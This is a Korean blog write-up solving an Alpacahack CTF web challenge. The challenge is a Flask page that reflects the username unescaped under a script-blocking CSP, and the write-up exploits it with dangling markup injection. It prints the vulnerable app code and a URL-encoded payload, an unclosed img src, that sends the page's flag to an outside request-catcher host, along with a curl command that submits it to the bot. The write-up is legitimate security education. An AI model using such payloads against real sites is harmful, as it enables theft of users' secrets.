반응형
Topic: ClientSide
주제: Web
난이도 Medium
Can you leak a leak flag without JavaScript?
코드 분석
web / app.py
@app.get("/")
def index():
username = request.args.get("username", "guest")
flag = request.cookies.get("flag", "no_flag")
html = """<!doctype html>
<html>
<head>
<meta charset="utf-8">
</head>
<body>
<p>Hello [[username]]!</p>
<p>Your flag is here: [[flag]]</p>
<form>
<input name="username" placeholder="What's your name?"><br>
<button type="submit">Render</button>
</form>
</body></html>"""
# Remove spaces/linebreaks
html = re.sub(r">\s+<", "><", html)
# Simple templating system
# Since Javascript is disabled, we shouldn't need to worry about XSS, right?
html = html.replace("[[flag]]", flag)
html = html.replace("[[username]]", username)
response = Response(html, mimetype="text/html")
# This Content-Security-Policy (or CSP) header prevents any Javascript from running!
response.headers["Content-Security-Policy"] = "script-src 'none'"
return response
- username이 그대로 HTML에 삽입됨
- flag는 쿠키에서 읽어서 HTML에 삽입됨
- script-src 'none' 으로 JS 실행 불가능함
bot / bot.js
const APP_URL = process.env.APP_URL ?? "http://localhost:8080/";
...
await browser.setCookie({
"name": "flag",
"value": FLAG,
"domain": new URL(APP_URL).hostname,
"path": "/",
"httpOnly": true,
})
const page = await browser.newPage();
await page.goto(url, { timeout: 5000 });
await sleep(5000);
await page.close();
} catch (e) {
console.error(e);
}
...
- compose.yaml에 APP_URL=http://web:3000/ 으로 APP_URL은 고정
- 쿠키 도메인은 web으로 고정된다.
즉, 봇은 http://web:3000/...으로 방문해야 쿠키가 적용되고 flag가 출력됨
취약점 분석
- username과 flag가 그대로 HTML에 삽입
- CSP가 JS만 차단 → 이미지/링크/스타일 등 우회 가능
- src="를 닫지 않으면 뒤 HTML이 URL에 붙음
이걸 Dangling Markup Injection 이라고 함
익스 플로잇
먼저 HTML 태그가 삽입되는지 확인
/?username=<b> test </b>

- test가 볼드 처리 된 것을 알 수 있음
따라서 아래와 같이 페이르도를 작성
</p><img src="https://wiywxrg.request.dreamhack.games?x=
- src를 닫지 않아서 뒤쪽 URL(플래그 포함)이 URL에 붙음
%3C%2Fp%3E%3Cimg%20src%3D%22https%3A%2F%2wiywxrg.request.dreamhack.games%3Fx%3D
- URL 인코딩을 해줌

다음과 같이 깨진 화면이 됨
봇 화면에서는 아래와 같이 작성해줌
http://web:3000/?username=%3C%2Fp%3E%3Cimg%20src%3D%22https%3A%2F%2Fwiywxrg.request.dreamhack.games%3Fx%3D

또는 wsl에서 아래와 같이 작성해 줌
URL='http://web:3000/?username=%3C%2Fp%3E%3Cimg%20src%3D%22https%3A%2F%2Fwiywxrg.request.dreamhack.games%3Fx%3D'
curl -s -X POST http://34.170.146.252:45735/api/report \
-H 'Content-Type: application/json' \
-d "{\"url\":\"$URL\"}"

반응형
'Alpacahack' 카테고리의 다른 글
| Xmas Login (0) | 2026.02.06 |
|---|---|
| Magic Engine (0) | 2026.02.05 |
| Alpacahack: Stateless Auth (0) | 2026.01.25 |
| Alpacahack: Animal Viewer (0) | 2026.01.22 |
| Alpacahack: dice roll (0) | 2026.01.21 |